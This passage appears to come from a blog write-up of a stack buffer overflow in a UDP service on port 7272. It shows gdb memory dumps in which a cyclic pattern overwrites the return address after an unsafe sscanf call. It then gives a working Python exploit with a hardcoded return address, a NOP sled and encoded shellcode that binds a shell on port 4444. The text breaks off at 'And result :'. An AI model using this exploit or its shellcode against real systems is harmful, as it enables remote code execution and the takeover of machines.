0xb7d75b90 0xb7d754d0 0xbfc353f0: 0xbfc35458 0xb7f681e0 0xbfc35474 0xbfc35468 0xbfc35400: 0xb7d754d0 0xb7d75b90 0xbfc354b0 0xb7f71658 0xbfc35410: 0x080488cc 0xb7d754d0 0x00000000 0x00000000 0xbfc35420: 0xb7d75bd8 0xbfc3543c 0xb7d75bd8 0x00000001 0xbfc35430: 0xb7ded684 0xb7f37380 0xb7d75b90 0x00000006 0xbfc35440: 0xbfc354b8 0x00000001 0x00000081 0xb7f337d6 0xbfc35450: 0x00000000 0xb7d754b4 0xb7f3bff4 0xb7f2d4b6 0xbfc35460: 0x003d0f00 0xb7f2d080 0xb7f283d8 0xb7f3f000 0xbfc35470: 0xffffffff 0xffffffff 0xb7f70fc4 0xb7f71658 0xbfc35480: 0x08048620 0xbfc354c0 0xb7f62616 0xb7f71810 0xbfc35490: 0xb7f3f5b0 0x00000001 0x00000005 0x00000000 0xbfc354a0: 0x080488cc 0x00000000 0x0805c0dc 0x00000005 0xbfc354b0: 0xb7f283d8 0xbfc35de8 0xbfc35cd8 0xbfc35fe0 0xbfc354c0: 0xbfc361b8 0xb7f681e0 0xbfc361b8 0xbfc35de8 0xbfc354d0: 0xbfc361b8 0xb7f33e90 0xbfc35cd8 0xbfc35de8 0xbfc354e0: 0xbfc35cd8 0xbfc35fe0 0xbfc361b8 0x0804d63d
And after the overflow, lets see the value of char v8; // [sp+1E8h] [bp-34h]@1 is :
(gdb) x/20x $ebp-0x34 0xbfc354b4: 0x306141ff 0x41316141 0x61413261 0x34614133 0xbfc354c4: 0x41356141 0x61413661 0x38614137 0x41396141 0xbfc354d4: 0x62413062 0x32624131 0x41336241 0x62413462 0xbfc354e4: 0x36624135 0x41376241 0x62413862 0x30634139 0xbfc354f4: 0x41316341 0x63413263 0x34634133 0x41356341
/xff+”Aa0Aa1Aa…. -> is our string. So we can see sscanf() causes buffer overflow. We will stepi after sscanf and see:
(gdb) x/4i $eip 0x804cce9 <difftime@plt+15297>: mov $0xffffffff,%eax 0x804ccee <difftime@plt+15302>: lea -0xc(%ebp),%esp 0x804ccf1 <difftime@plt+15305>: pop %ebx 0x804ccf2 <difftime@plt+15306>: pop %esi (gdb) stepi 0x0804ccee in ?? () (gdb) stepi 0x0804ccf1 in ?? () (gdb) x/4x $esp 0xbfdb7fbc: 0x41336241 0x62413462 0x36624135 0x41376241 (gdb) x/i $eip 0x804ccf1 <difftime@plt+15305>: pop %ebx (gdb) stepi 0x0804ccf2 in ?? () (gdb) x/4i $eip 0x804ccf2 <difftime@plt+15306>: pop %esi 0x804ccf3 <difftime@plt+15307>: pop %edi 0x804ccf4 <difftime@plt+15308>: pop %ebp 0x804ccf5 <difftime@plt+15309>: ret (gdb) stepi 0x0804ccf3 in ?? () (gdb) stepi 0x0804ccf4 in ?? () (gdb) stepi <p>Breakpoint 7, 0x0804ccf5 in ?? () (gdb) x/4x $esp 0xbfdb7fcc: 0x62413862 0x30634139 0x41316341 0x63413263 (gdb) x/i $eip 0x804ccf5 <difftime@plt+15309>: ret (gdb)
Now it will return on 0×62413862. It’s a basic buffer overflow!
And here is my exploit code (shellcode is a port-binding shellcode on port 4444):
#!/usr/bin/python from socket import * import struct host = "localhost" port = 7272 shellcode ="AAAa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab\xe0\xe6\xff\xbf"+"\x90"*900+"\xb8\xb6\x0a\x95\x0e\xd9\xf7\xd9\x74\x24\xf4\x31\xc9\x5d\xb1\x14\x83\xed\xfc\x31\x45\x10\x03\x45\x10\x54\xff\xa4\xd5\x6f\xe3\x94\xaa\xdc\x8e\x18\xa4\x03\xfe\x7b\x7b\x43\xa4\xdd\xd1\x2b\xa4\xe0\xc4\xf7\x30\xf5\xb7\x57\x4c\x14\x5d\x31\x16\x1a\x22\x34\xe7\xa0\x90\x42\x58\xce\x1b\xca\xdb\xbf\xc2\x07\x5b\x2c\x53\xfd\x63\x0b\xa9\x81\xd5\xd2\xc9\xe9\xca\x0b\x59\x81\x7c\x7b\xff\x38\x13\x0a\x1c\xea\xb8\x85\x02\xba\x34\x5b\x44" payload = "\x30\xff"+shellcode sock = socket(AF_INET,SOCK_DGRAM) sock.sendto(payload,(host,port)) sock.close()
And result :



